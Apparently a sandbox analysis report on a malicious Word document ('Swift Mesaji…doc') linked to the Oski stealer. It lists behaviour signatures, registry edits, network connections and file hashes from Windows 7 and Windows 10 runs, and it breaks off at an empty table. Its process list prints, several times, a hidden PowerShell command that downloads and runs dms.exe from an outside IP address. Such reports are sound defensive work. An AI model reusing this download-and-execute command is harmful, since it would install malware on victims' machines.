Analysis Overview
SHA256
c5a7de281ab02afc017d37a36f97b33e6487d67c9cfe4400a544f6b45890919b
Threat Level: Known bad
The file Swift Mesaji-20210802YPT21-150961.doc was found to be: Known bad.
Malicious Activity Summary
Oski
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
Process spawned unexpected child process
Executes dropped EXE
Blocklisted process makes network request
Downloads MZ/PE file
Loads dropped DLL
Suspicious use of SetThreadContext
Drops file in Windows directory
Office loads VBA resources, possible macro or embedded object present
NTFS ADS
Modifies registry class
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Checks processor information in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-08-02 08:55
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-08-02 08:55
Reported
2021-08-02 08:58
Platform
win7v20210410
Max time kernel
142s
Max time network
145s
Command Line
Signatures
Oski
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 820 set thread context of 1736 | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | C:\Users\Admin\AppData\Roaming\dms.exe |
| PID 384 set thread context of 972 | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | C:\Users\Admin\AppData\Roaming\dms.exe |
| PID 1916 set thread context of 1756 | N/A | C:\Users\Admin\AppData\Roaming\dms.exe | C:\Users\Admin\AppData\Roaming\dms.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Office loads VBA resources, possible macro or embedded object present
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Swift Mesaji-20210802YPT21-150961.doc"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/dms/dms.exe','C:\Users\Admin\AppData\Roaming\dms.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\dms.exe'"
C:\Users\Admin\AppData\Roaming\dms.exe
"C:\Users\Admin\AppData\Roaming\dms.exe"
C:\Users\Admin\AppData\Roaming\dms.exe
"C:\Users\Admin\AppData\Roaming\dms.exe"
C:\Users\Admin\AppData\Roaming\dms.exe
"C:\Users\Admin\AppData\Roaming\dms.exe"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Users\Admin\AppData\Roaming\dms.exe
"C:\Users\Admin\AppData\Roaming\dms.exe"
C:\Users\Admin\AppData\Roaming\dms.exe
"C:\Users\Admin\AppData\Roaming\dms.exe"
C:\Users\Admin\AppData\Roaming\dms.exe
"C:\Users\Admin\AppData\Roaming\dms.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 185.230.160.197:80 | 185.230.160.197 | tcp |
| N/A | 185.230.160.197:80 | 185.230.160.197 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
| N/A | 2.56.59.226:80 | 2.56.59.226 | tcp |
Files
memory/2004-60-0x0000000072FC1000-0x0000000072FC4000-memory.dmp
memory/2004-61-0x0000000070A41000-0x0000000070A43000-memory.dmp
memory/2004-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2004-63-0x00000000765F1000-0x00000000765F3000-memory.dmp
memory/1476-64-0x0000000000000000-mapping.dmp
memory/1476-66-0x0000000002410000-0x0000000002411000-memory.dmp
memory/1476-67-0x00000000045E0000-0x00000000045E1000-memory.dmp
memory/1476-68-0x0000000000C00000-0x0000000000C01000-memory.dmp
memory/1476-69-0x0000000000C02000-0x0000000000C03000-memory.dmp
memory/1476-70-0x0000000004FF0000-0x0000000004FF1000-memory.dmp
memory/1476-71-0x0000000005280000-0x0000000005281000-memory.dmp
memory/1176-72-0x0000000000000000-mapping.dmp
memory/924-73-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | abfa7910bddeef17a380d7dd61932925 |
| SHA1 | 156c00396c7a6b9c74889341d38b699895ec8e98 |
| SHA256 | 4ac48cca2f35d6ba66d6b983b0c09854197be8641444a8f87d4f75a25d796ffb |
| SHA512 | d9d633eae977a393ee27fe07b5ae95033167a2717248cfa08ff1e61669e959761a688d308b1cc7702e1a271c1db936a4a00e2444b515937f10fa141c9f2c0f72 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | abfa7910bddeef17a380d7dd61932925 |
| SHA1 | 156c00396c7a6b9c74889341d38b699895ec8e98 |
| SHA256 | 4ac48cca2f35d6ba66d6b983b0c09854197be8641444a8f87d4f75a25d796ffb |
| SHA512 | d9d633eae977a393ee27fe07b5ae95033167a2717248cfa08ff1e61669e959761a688d308b1cc7702e1a271c1db936a4a00e2444b515937f10fa141c9f2c0f72 |
memory/1476-87-0x00000000056D0000-0x00000000056D1000-memory.dmp
memory/1176-93-0x0000000004AC0000-0x0000000004AC1000-memory.dmp
memory/924-96-0x0000000004902000-0x0000000004903000-memory.dmp
memory/1476-97-0x000000007EF30000-0x000000007EF31000-memory.dmp
memory/924-95-0x0000000004900000-0x0000000004901000-memory.dmp
memory/1176-94-0x0000000004AC2000-0x0000000004AC3000-memory.dmp
memory/1476-98-0x00000000060D0000-0x00000000060D1000-memory.dmp
memory/1476-99-0x0000000006120000-0x0000000006121000-memory.dmp
memory/1476-106-0x0000000006240000-0x0000000006241000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
| MD5 | b6d38f250ccc9003dd70efd3b778117f |
| SHA1 | d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a |
| SHA256 | 4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265 |
| SHA512 | 67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | f6b96d84c5c871d1deb89e752480ed37 |
| SHA1 | 10ddc24b7a7197bc2d061e1d03738aff302b7278 |
| SHA256 | bf25a26ae8c9e2aaf9de3a6c3cd87664059a4940ce3250137e241a74b3646b34 |
| SHA512 | 94989e53123aa18618d063f72a8f56770dabd687fcf96adfdb56d15289eddb99e81d6ff703b75295791320c8d483e10ace18d79aad3228bc83204b18a8940050 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
| MD5 | 75a8da7754349b38d64c87c938545b1b |
| SHA1 | 5c28c257d51f1c1587e29164cc03ea880c21b417 |
| SHA256 | bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96 |
| SHA512 | 798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643 |
memory/1476-114-0x00000000062B0000-0x00000000062B1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
| MD5 | be4d72095faf84233ac17b94744f7084 |
| SHA1 | cc78ce5b9c57573bd214a8f423ee622b00ebb1ec |
| SHA256 | b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc |
| SHA512 | 43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
| MD5 | 5e3c7184a75d42dda1a83606a45001d8 |
| SHA1 | 94ca15637721d88f30eb4b6220b805c5be0360ed |
| SHA256 | 8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59 |
| SHA512 | fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
| MD5 | df44874327d79bd75e4264cb8dc01811 |
| SHA1 | 1396b06debed65ea93c24998d244edebd3c0209d |
| SHA256 | 55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181 |
| SHA512 | 95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
| MD5 | 02ff38ac870de39782aeee04d7b48231 |
| SHA1 | 0390d39fa216c9b0ecdb38238304e518fb2b5095 |
| SHA256 | fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876 |
| SHA512 | 24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
| MD5 | a725bb9fafcf91f3c6b7861a2bde6db2 |
| SHA1 | 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114 |
| SHA256 | 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431 |
| SHA512 | 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 3b747cd0ecd7966e3d958115dd1a62c9 |
| SHA1 | 28aee728c6c749ea96d7a5dae70d006d3f0ecccf |
| SHA256 | cc2a71f99cb18306d85208b4bb0f9f514a29d5aa92da48423cb7d015dfd1d0b8 |
| SHA512 | 61b441b3de4dbd49cbe27ccc3ea7e13a3f03e7798e5d7474d9ad64b14d71e73df0d84d210ff3de72863b39a63807899725abc7c12b18d38facc443c5be186013 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 52349a01b0f8c97e811277b884236a33 |
| SHA1 | 247af65afff8fad99a4b636f8701ff6c0aabf064 |
| SHA256 | ef3c1f27d3767771c2a15307ab7cc9f331df713edb95b29801346da376c5342c |
| SHA512 | 087bea4c0bf4a1f7d95ef7cc790ace2ac2b36423574e2f9d0eddb50a7c8af0400bbcdfae666457871e7234802622cfc0926c87c161741b4b046b8bc634e180d6 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
| MD5 | 597009ea0430a463753e0f5b1d1a249e |
| SHA1 | 4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62 |
| SHA256 | 3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d |
| SHA512 | 5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
| MD5 | a725bb9fafcf91f3c6b7861a2bde6db2 |
| SHA1 | 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114 |
| SHA256 | 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431 |
| SHA512 | 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e |
memory/1916-123-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
memory/1916-126-0x0000000000E80000-0x0000000000E81000-memory.dmp
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
memory/1176-129-0x00000000063B0000-0x00000000063B1000-memory.dmp
memory/1916-128-0x0000000005010000-0x0000000005011000-memory.dmp
memory/820-132-0x0000000000000000-mapping.dmp
memory/384-131-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
memory/384-139-0x0000000000A40000-0x0000000000A41000-memory.dmp
memory/820-140-0x00000000003A0000-0x00000000003A1000-memory.dmp
memory/820-141-0x0000000000380000-0x000000000038D000-memory.dmp
memory/1052-142-0x0000000000000000-mapping.dmp
memory/1052-144-0x000007FEFC411000-0x000007FEFC413000-memory.dmp
memory/820-146-0x000000000A500000-0x000000000A5A8000-memory.dmp
memory/820-147-0x0000000000CD0000-0x0000000000D2F000-memory.dmp
memory/1736-148-0x0000000000400000-0x0000000000464000-memory.dmp
memory/1736-149-0x000000000040717B-mapping.dmp
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
memory/1736-152-0x0000000000400000-0x0000000000464000-memory.dmp
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
memory/972-156-0x000000000040717B-mapping.dmp
memory/1756-162-0x000000000040717B-mapping.dmp
C:\Users\Admin\AppData\Roaming\dms.exe
| MD5 | 3519d9884a37f6e79b9e5f19b97a3d99 |
| SHA1 | 49d06c39e5664977651d4e16d00ebcad6659917c |
| SHA256 | 488482565caeb316c3182e323a178f0357878a3b564bb22abff6ffb01feb051a |
| SHA512 | a5f8fbd4197a4962f75d30fab5c6c7de0f5e0b137dc5de8cad10a25bdaf9ff60a78fd35bdb9fbb2402762e0332a445974d92284ee39169505282be17051d0060 |
Analysis: behavioral2
Detonation Overview
Submitted
2021-08-02 08:55
Reported
2021-08-02 08:58
Platform
win10v20210410
Max time kernel
145s
Max time network
139s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key created | \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5\Children | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5\Children | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\DisplayName = "OICE_16_974FA576_32C1D314_7F5" | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key created | \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\Children | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_7f5 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key deleted | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\Children | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key created | \Registry\User\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3267457186-924241236-1338918982-4194128645-2928686287-4238860674-2349994125\Moniker = "oice_16_974fa576_32c1d314_7f5" | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
